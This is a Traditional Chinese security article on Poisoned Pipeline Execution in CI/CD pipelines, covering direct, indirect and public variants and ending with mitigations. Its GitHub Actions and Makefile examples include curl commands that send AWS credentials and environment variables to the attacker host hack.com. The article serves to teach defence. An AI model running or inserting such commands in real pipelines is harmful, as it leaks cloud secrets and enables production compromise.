在上一篇文章,我們瞭解了依賴鏈濫用和基於流水線的存取控制不足這兩大安全風險,並給出緩解風險的安全建議。本篇文章將著重介紹 PPE 風險,並提供緩解相關風險的安全建議與實踐。
Poisoned Pipeline Execution (PPE) 風險指的是攻擊者能夠存取原始碼控制系統,但無法存取構建環境,通過將惡意程式碼/命令注入構建流水線設定來操縱構建過程,本質上是「中毒的」流水線和執行惡意程式碼作為構建過程的一部分。
PPE 風險通常存在程式碼倉庫中,可控對應的 CI 管道組態檔,通過修改 CI 組態檔達到執行對應命令的目的。有權操作 CI 組態檔或 CI 流水線任務所依賴的其他檔案的攻擊者,可以將惡意命令置入這些檔案,通過執行這些惡意命令,最終「毒化」執行這些命令的 CI 流水線。執行未經審查的程式碼的流水線,比如一些直接由拉取請求或提交到任意儲存庫分支觸發的流水線,由於在設計上包含未經任何審查或批准的程式碼,更容易受到 PPE 風險的影響。一旦能夠在 CI 流水線中執行惡意程式碼,攻擊者就可以在流水線身份的上下文中進行各種惡意操作。
在 D-PPE 場景中,攻擊者修改他們有權存取的儲存庫中的 CI 組態檔,通過直接將更改推播到儲存庫上未受保護的遠端分支,在提交 PR 時隨著分叉的更改而變化。由於 CI 流水線執行是由「push」或「PR」事件觸發的,並且流水線執行是由修改後的 CI 組態檔中的命令定義的,一旦構建流水線被攻擊,攻擊者的惡意命令最終會在構建節點中執行觸發。
在以下幾種情況下,即便攻擊者能夠存取 SCM 儲存庫,也無法使用 D-PPE:
流水線設定為從同一儲存庫中單獨的受保護分支中提取 CI 組態檔。
CI 組態檔儲存在與原始碼不同的儲存庫中,則使用者沒有直接編輯它的選項。
CI 構建是在 CI 系統本身中定義的——而不是在儲存在原始碼中的檔案中。
在這幾種情況下,攻擊者就會選擇向流水線組態檔參照的檔案中注入惡意程式碼來破壞流水線:
make:執行「Makefile」檔案中定義的命令。
從流水線組態檔中參照的指令碼,與原始碼本身儲存在同一儲存庫中(例如, python myscript.py - myscript.py
將被攻擊者操縱)。
程式碼測試:在構建過程中在應用程式程式碼上執行的測試框架依賴於專用檔案,這些檔案與原始碼本身儲存在同一儲存庫中。能夠操縱負責測試的程式碼的攻擊者能夠在構建中執行惡意命令。
自動工具:CI 中使用的 Linter 和安全掃描器通常也依賴於儲存庫中的組態檔。很多時候這些設定涉及從組態檔中定義的位置載入和執行外部程式碼。
因此,在 I-PPE 中,不同於將惡意命令直接插入流水線定義檔案來破壞流水線,攻擊者通過將惡意程式碼注入到組態檔參照的檔案中,一旦觸發流水線並執行相關檔案中宣告的命令,惡意程式碼最終會在流水線節點上執行。
執行 PPE 攻擊需要存取託管流水線組態檔的儲存庫或其參照的檔案。大多數情況下,只有開發人員擁有此類許可,也就是說攻擊者必須要獲得開發工程師對儲存庫的許可和許可權才能執行直接或間接 PPE 攻擊。
然而,在一些情況下,網際網路上的匿名攻擊者可以使用「中毒的」 CI 流水線:公共儲存庫(例如開源專案)通常允許任何使用者做出貢獻,通過建立拉取請求,建議對程式碼進行更改。這些專案通常使用 CI 解決方案自動測試和構建,與私有專案類似。如果公共儲存庫的 CI 流水線執行匿名使用者建議的未經審查的程式碼,它很容易受到公共 PPE 攻擊,或者簡稱為 3PE。如果易受攻擊的公共儲存庫的流水線在與私有儲存庫相同的 CI 範例上執行,這也會暴露例如私有專案的敏感資訊這類的內部資產。
在以下範例中,GitHub 儲存庫與 GitHub Actions 工作流程連線,該工作流程獲取程式碼、構建程式碼、執行測試並最終將工件部署到 AWS。當新程式碼被推播到儲存庫中的遠端分支時,程式碼(包括流水線組態檔)由執行程式(工作流節點)獲取。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest steps:
- run: |
echo "building..."
echo "testing..."
echo "deploying..."
在這種情況下,D-PPE 攻擊將按如下方式進行:
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- env:
ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
推播更新後,將觸發從儲存庫中獲取程式碼的流水線,包括惡意流水線組態檔。
流水線基於被攻擊者「毒化」的組態檔執行。根據攻擊者的惡意命令,儲存為儲存庫機密的 AWS 憑證被載入到記憶體中。
流水線繼續執行攻擊者的命令,將 AWS 憑證傳送到攻擊者控制的伺服器。
攻擊者隨後能夠使用竊取的憑證存取 AWS 生產環境。
這個例子展示的是 Jenkins 流水線從儲存庫中獲取程式碼、構建、執行測試並最終部署到 AWS。在此流水線中,Jenkinsfile 是受保護的,因為是從儲存庫中的主分支中獲取的。因此,攻擊者無法操縱構建定義,也無法獲取儲存在 Jenkins 憑證儲存中的機密或在其他節點上執行任務。
然而這並不代表流水線沒有風險。在流水線的構建階段,AWS 憑證作為環境變數載入,使其僅可用於在此階段執行的命令。在下面的範例中,基於 Makefile 的內容(也儲存在儲存庫中)的make命令作為此階段的一部分執行。
The Jenkinsfile:
pipeline {
agent any
stages {
stage('build') {
steps {
withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
stage('test') {
steps {
sh 'go test -v ./...'
...
The Makefile:
build:
echo "building…"
clean:
echo "cleaning…"
在這種情況下,I-PPE 攻擊將按如下方式進行:
build:
curl -d "$$(env)" hack.com
clean:
echo "cleaning…"
由於流水線設定為在針對 repo 的任何 PR 時觸發,Jenkins 流水線被觸發,從儲存庫中獲取程式碼,包括惡意Makefile。
流水線基於儲存在主分支中的組態檔執行。進入構建階段,如原始 Jenkinsfile 中定義,將 AWS 憑證載入到環境變數中。然後,執行make build命令,該命令執行新增到Makefile中的惡意命令。
執行 Makefile 中定義的惡意構建函數,將 AWS 憑證傳送到攻擊者控制的伺服器。
攻擊者隨後能夠使用竊取的憑證存取 AWS 生產環境。
在成功的 PPE 攻擊中,攻擊者在 CI 中執行未經審查的惡意程式碼。這為攻擊者提供了與構建任務相同的能力和存取級別,包括:
存取 CI 任務可用的任何機密,比如作為環境變數注入的機密或儲存在 CI 中的其他敏感資訊。CI/CD 系統負責構建程式碼和部署工件,通常包含多個如雲提供商、工件登入檔和 SCM 本身的重要憑證和令牌。
存取任務節點有權存取的外部資產,例如儲存在節點檔案系統中的檔案,或可通過底層主機存取的雲環境的憑據。
能夠以構建過程構建的合法程式碼為障眼法,將程式碼和工件進一步傳送到流水線中。
能夠存取作業節點的網路/環境中的其他主機和資產。
預防和緩解 PPE 攻擊,涉及跨 SCM 和 CI 系統的多項措施:
確保執行未經審查的程式碼的流水線在隔離節點上執行,不會暴露在機密和敏感環境中。
評估外部貢獻者在公共儲存庫上觸發流水線的需求。在可能的情況下,避免執行源自分叉的流水線,並考慮新增控制措施,例如要求手動批准流水線執行。
對於包含敏感資訊的流水線,確保設定為觸發 CI 系統中的流水線的每個分支,在 SCM 中都有相關的分支保護規則。
為了防止操縱 CI 組態檔在流水線中執行惡意程式碼,必須在流水線執行之前審查每個 CI 組態檔。或者CI 組態檔可以在遠端分支中管理,與包含在流水線中構建的程式碼的分支分開。遠端分支應設定為受保護。
從不需要的使用者中刪除對 SCM 儲存庫授予的許可權。
每個流水線應該只能存取實現其目的所需的憑據。憑據應具有所需的最低許可權。